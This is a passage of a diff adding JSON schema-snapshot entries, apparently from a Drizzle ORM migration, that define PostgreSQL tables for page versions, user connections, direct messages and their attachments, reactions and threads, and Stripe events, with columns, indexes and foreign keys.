+ "public.page_versions": {
+ "name": "page_versions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "pageId": {
+ "name": "pageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "source": {
+ "name": "source",
+ "type": "page_version_source",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'auto'"
+ },
+ "label": {
+ "name": "label",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "reason": {
+ "name": "reason",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "changeGroupId": {
+ "name": "changeGroupId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "changeGroupType": {
+ "name": "changeGroupType",
+ "type": "activity_change_group_type",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentRef": {
+ "name": "contentRef",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentFormat": {
+ "name": "contentFormat",
+ "type": "content_format",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contentSize": {
+ "name": "contentSize",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stateHash": {
+ "name": "stateHash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "pageRevision": {
+ "name": "pageRevision",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "isPinned": {
+ "name": "isPinned",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "expiresAt": {
+ "name": "expiresAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "page_versions_page_created_at_idx": {
+ "name": "page_versions_page_created_at_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_versions_drive_created_at_idx": {
+ "name": "page_versions_drive_created_at_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_versions_pinned_idx": {
+ "name": "page_versions_pinned_idx",
+ "columns": [
+ {
+ "expression": "isPinned",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "page_versions_page_id_is_pinned_created_at_idx": {
+ "name": "page_versions_page_id_is_pinned_created_at_idx",
+ "columns": [
+ {
+ "expression": "pageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isPinned",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "page_versions_pageId_pages_id_fk": {
+ "name": "page_versions_pageId_pages_id_fk",
+ "tableFrom": "page_versions",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "pageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "page_versions_driveId_drives_id_fk": {
+ "name": "page_versions_driveId_drives_id_fk",
+ "tableFrom": "page_versions",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "page_versions_createdBy_users_id_fk": {
+ "name": "page_versions_createdBy_users_id_fk",
+ "tableFrom": "page_versions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "page_versions_change_group_pair": {
+ "name": "page_versions_change_group_pair",
+ "value": "(\"page_versions\".\"changeGroupId\" IS NULL) = (\"page_versions\".\"changeGroupType\" IS NULL)"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.connections": {
+ "name": "connections",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "user1Id": {
+ "name": "user1Id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user2Id": {
+ "name": "user2Id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "status": {
+ "name": "status",
+ "type": "ConnectionStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'PENDING'"
+ },
+ "requestedBy": {
+ "name": "requestedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "requestMessage": {
+ "name": "requestMessage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "requestedAt": {
+ "name": "requestedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "acceptedAt": {
+ "name": "acceptedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "blockedBy": {
+ "name": "blockedBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "blockedAt": {
+ "name": "blockedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "connections_user1_id_idx": {
+ "name": "connections_user1_id_idx",
+ "columns": [
+ {
+ "expression": "user1Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "connections_user2_id_idx": {
+ "name": "connections_user2_id_idx",
+ "columns": [
+ {
+ "expression": "user2Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "connections_status_idx": {
+ "name": "connections_status_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "connections_user1_status_idx": {
+ "name": "connections_user1_status_idx",
+ "columns": [
+ {
+ "expression": "user1Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "connections_user2_status_idx": {
+ "name": "connections_user2_status_idx",
+ "columns": [
+ {
+ "expression": "user2Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "connections_user1Id_users_id_fk": {
+ "name": "connections_user1Id_users_id_fk",
+ "tableFrom": "connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user1Id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "connections_user2Id_users_id_fk": {
+ "name": "connections_user2Id_users_id_fk",
+ "tableFrom": "connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "user2Id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "connections_requestedBy_users_id_fk": {
+ "name": "connections_requestedBy_users_id_fk",
+ "tableFrom": "connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "requestedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "connections_blockedBy_users_id_fk": {
+ "name": "connections_blockedBy_users_id_fk",
+ "tableFrom": "connections",
+ "tableTo": "users",
+ "columnsFrom": [
+ "blockedBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "connections_user_pair_key": {
+ "name": "connections_user_pair_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "user1Id",
+ "user2Id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.direct_message_attachments": {
+ "name": "direct_message_attachments",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "messageId": {
+ "name": "messageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fileId": {
+ "name": "fileId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "attachmentMeta": {
+ "name": "attachmentMeta",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "position": {
+ "name": "position",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "direct_message_attachments_message_position_idx": {
+ "name": "direct_message_attachments_message_position_idx",
+ "columns": [
+ {
+ "expression": "messageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "position",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_message_attachments_file_id_idx": {
+ "name": "direct_message_attachments_file_id_idx",
+ "columns": [
+ {
+ "expression": "fileId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "direct_message_attachments_messageId_direct_messages_id_fk": {
+ "name": "direct_message_attachments_messageId_direct_messages_id_fk",
+ "tableFrom": "direct_message_attachments",
+ "tableTo": "direct_messages",
+ "columnsFrom": [
+ "messageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "direct_message_attachments_fileId_files_id_fk": {
+ "name": "direct_message_attachments_fileId_files_id_fk",
+ "tableFrom": "direct_message_attachments",
+ "tableTo": "files",
+ "columnsFrom": [
+ "fileId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {
+ "direct_message_attachments_position_range": {
+ "name": "direct_message_attachments_position_range",
+ "value": "\"direct_message_attachments\".\"position\" >= 0 AND \"direct_message_attachments\".\"position\" < 10"
+ }
+ },
+ "isRLSEnabled": false
+ },
+ "public.direct_messages": {
+ "name": "direct_messages",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "conversationId": {
+ "name": "conversationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "senderId": {
+ "name": "senderId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "content": {
+ "name": "content",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "fileId": {
+ "name": "fileId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "attachmentMeta": {
+ "name": "attachmentMeta",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isRead": {
+ "name": "isRead",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "readAt": {
+ "name": "readAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isEdited": {
+ "name": "isEdited",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "editedAt": {
+ "name": "editedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isActive": {
+ "name": "isActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "deletedAt": {
+ "name": "deletedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "parentId": {
+ "name": "parentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replyCount": {
+ "name": "replyCount",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "lastReplyAt": {
+ "name": "lastReplyAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "mirroredFromId": {
+ "name": "mirroredFromId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "quotedMessageId": {
+ "name": "quotedMessageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "direct_messages_conversation_id_idx": {
+ "name": "direct_messages_conversation_id_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_sender_id_idx": {
+ "name": "direct_messages_sender_id_idx",
+ "columns": [
+ {
+ "expression": "senderId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_created_at_idx": {
+ "name": "direct_messages_created_at_idx",
+ "columns": [
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_file_id_idx": {
+ "name": "direct_messages_file_id_idx",
+ "columns": [
+ {
+ "expression": "fileId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_conversation_active_created_idx": {
+ "name": "direct_messages_conversation_active_created_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isActive",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_inactive_deleted_at_idx": {
+ "name": "direct_messages_inactive_deleted_at_idx",
+ "columns": [
+ {
+ "expression": "isActive",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "deletedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_conversation_created_idx": {
+ "name": "direct_messages_conversation_created_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_conversation_is_read_idx": {
+ "name": "direct_messages_conversation_is_read_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isRead",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_unread_count_idx": {
+ "name": "direct_messages_unread_count_idx",
+ "columns": [
+ {
+ "expression": "conversationId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "senderId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "isRead",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_parent_created_idx": {
+ "name": "direct_messages_parent_created_idx",
+ "columns": [
+ {
+ "expression": "parentId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "createdAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "direct_messages_quoted_id_idx": {
+ "name": "direct_messages_quoted_id_idx",
+ "columns": [
+ {
+ "expression": "quotedMessageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "direct_messages_conversationId_dm_conversations_id_fk": {
+ "name": "direct_messages_conversationId_dm_conversations_id_fk",
+ "tableFrom": "direct_messages",
+ "tableTo": "dm_conversations",
+ "columnsFrom": [
+ "conversationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "direct_messages_senderId_users_id_fk": {
+ "name": "direct_messages_senderId_users_id_fk",
+ "tableFrom": "direct_messages",
+ "tableTo": "users",
+ "columnsFrom": [
+ "senderId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "direct_messages_fileId_files_id_fk": {
+ "name": "direct_messages_fileId_files_id_fk",
+ "tableFrom": "direct_messages",
+ "tableTo": "files",
+ "columnsFrom": [
+ "fileId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "direct_messages_parentId_direct_messages_id_fk": {
+ "name": "direct_messages_parentId_direct_messages_id_fk",
+ "tableFrom": "direct_messages",
+ "tableTo": "direct_messages",
+ "columnsFrom": [
+ "parentId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "direct_messages_mirroredFromId_direct_messages_id_fk": {
+ "name": "direct_messages_mirroredFromId_direct_messages_id_fk",
+ "tableFrom": "direct_messages",
+ "tableTo": "direct_messages",
+ "columnsFrom": [
+ "mirroredFromId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "direct_messages_quotedMessageId_direct_messages_id_fk": {
+ "name": "direct_messages_quotedMessageId_direct_messages_id_fk",
+ "tableFrom": "direct_messages",
+ "tableTo": "direct_messages",
+ "columnsFrom": [
+ "quotedMessageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.dm_conversations": {
+ "name": "dm_conversations",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "participant1Id": {
+ "name": "participant1Id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "participant2Id": {
+ "name": "participant2Id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "lastMessageAt": {
+ "name": "lastMessageAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastMessagePreview": {
+ "name": "lastMessagePreview",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "participant1LastRead": {
+ "name": "participant1LastRead",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "participant2LastRead": {
+ "name": "participant2LastRead",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "dm_conversations_participant1_id_idx": {
+ "name": "dm_conversations_participant1_id_idx",
+ "columns": [
+ {
+ "expression": "participant1Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "dm_conversations_participant2_id_idx": {
+ "name": "dm_conversations_participant2_id_idx",
+ "columns": [
+ {
+ "expression": "participant2Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "dm_conversations_last_message_at_idx": {
+ "name": "dm_conversations_last_message_at_idx",
+ "columns": [
+ {
+ "expression": "lastMessageAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "dm_conversations_participant1_last_message_idx": {
+ "name": "dm_conversations_participant1_last_message_idx",
+ "columns": [
+ {
+ "expression": "participant1Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "lastMessageAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "dm_conversations_participant2_last_message_idx": {
+ "name": "dm_conversations_participant2_last_message_idx",
+ "columns": [
+ {
+ "expression": "participant2Id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "lastMessageAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "dm_conversations_participant1Id_users_id_fk": {
+ "name": "dm_conversations_participant1Id_users_id_fk",
+ "tableFrom": "dm_conversations",
+ "tableTo": "users",
+ "columnsFrom": [
+ "participant1Id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "dm_conversations_participant2Id_users_id_fk": {
+ "name": "dm_conversations_participant2Id_users_id_fk",
+ "tableFrom": "dm_conversations",
+ "tableTo": "users",
+ "columnsFrom": [
+ "participant2Id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "dm_conversations_participant_pair_key": {
+ "name": "dm_conversations_participant_pair_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "participant1Id",
+ "participant2Id"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.dm_message_reactions": {
+ "name": "dm_message_reactions",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "messageId": {
+ "name": "messageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "emoji": {
+ "name": "emoji",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "dm_unique_reaction_idx": {
+ "name": "dm_unique_reaction_idx",
+ "columns": [
+ {
+ "expression": "messageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "emoji",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "dm_reaction_message_idx": {
+ "name": "dm_reaction_message_idx",
+ "columns": [
+ {
+ "expression": "messageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "dm_message_reactions_messageId_direct_messages_id_fk": {
+ "name": "dm_message_reactions_messageId_direct_messages_id_fk",
+ "tableFrom": "dm_message_reactions",
+ "tableTo": "direct_messages",
+ "columnsFrom": [
+ "messageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "dm_message_reactions_userId_users_id_fk": {
+ "name": "dm_message_reactions_userId_users_id_fk",
+ "tableFrom": "dm_message_reactions",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.dm_thread_followers": {
+ "name": "dm_thread_followers",
+ "schema": "",
+ "columns": {
+ "rootMessageId": {
+ "name": "rootMessageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "userId": {
+ "name": "userId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "dm_thread_followers_user_id_idx": {
+ "name": "dm_thread_followers_user_id_idx",
+ "columns": [
+ {
+ "expression": "userId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "dm_thread_followers_rootMessageId_direct_messages_id_fk": {
+ "name": "dm_thread_followers_rootMessageId_direct_messages_id_fk",
+ "tableFrom": "dm_thread_followers",
+ "tableTo": "direct_messages",
+ "columnsFrom": [
+ "rootMessageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "dm_thread_followers_userId_users_id_fk": {
+ "name": "dm_thread_followers_userId_users_id_fk",
+ "tableFrom": "dm_thread_followers",
+ "tableTo": "users",
+ "columnsFrom": [
+ "userId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {
+ "dm_thread_followers_rootMessageId_userId_pk": {
+ "name": "dm_thread_followers_rootMessageId_userId_pk",
+ "columns": [
+ "rootMessageId",
+ "userId"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.stripe_events": {
+ "name": "stripe_events",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "type": {
+ "name": "type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "processedAt": {
+ "name": "processedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "error": {
+ "name": "error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "stripe_events_type_idx": {
+ "name": "stripe_events_type_idx",
+ "columns": [
+ {
+ "expression": "type",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
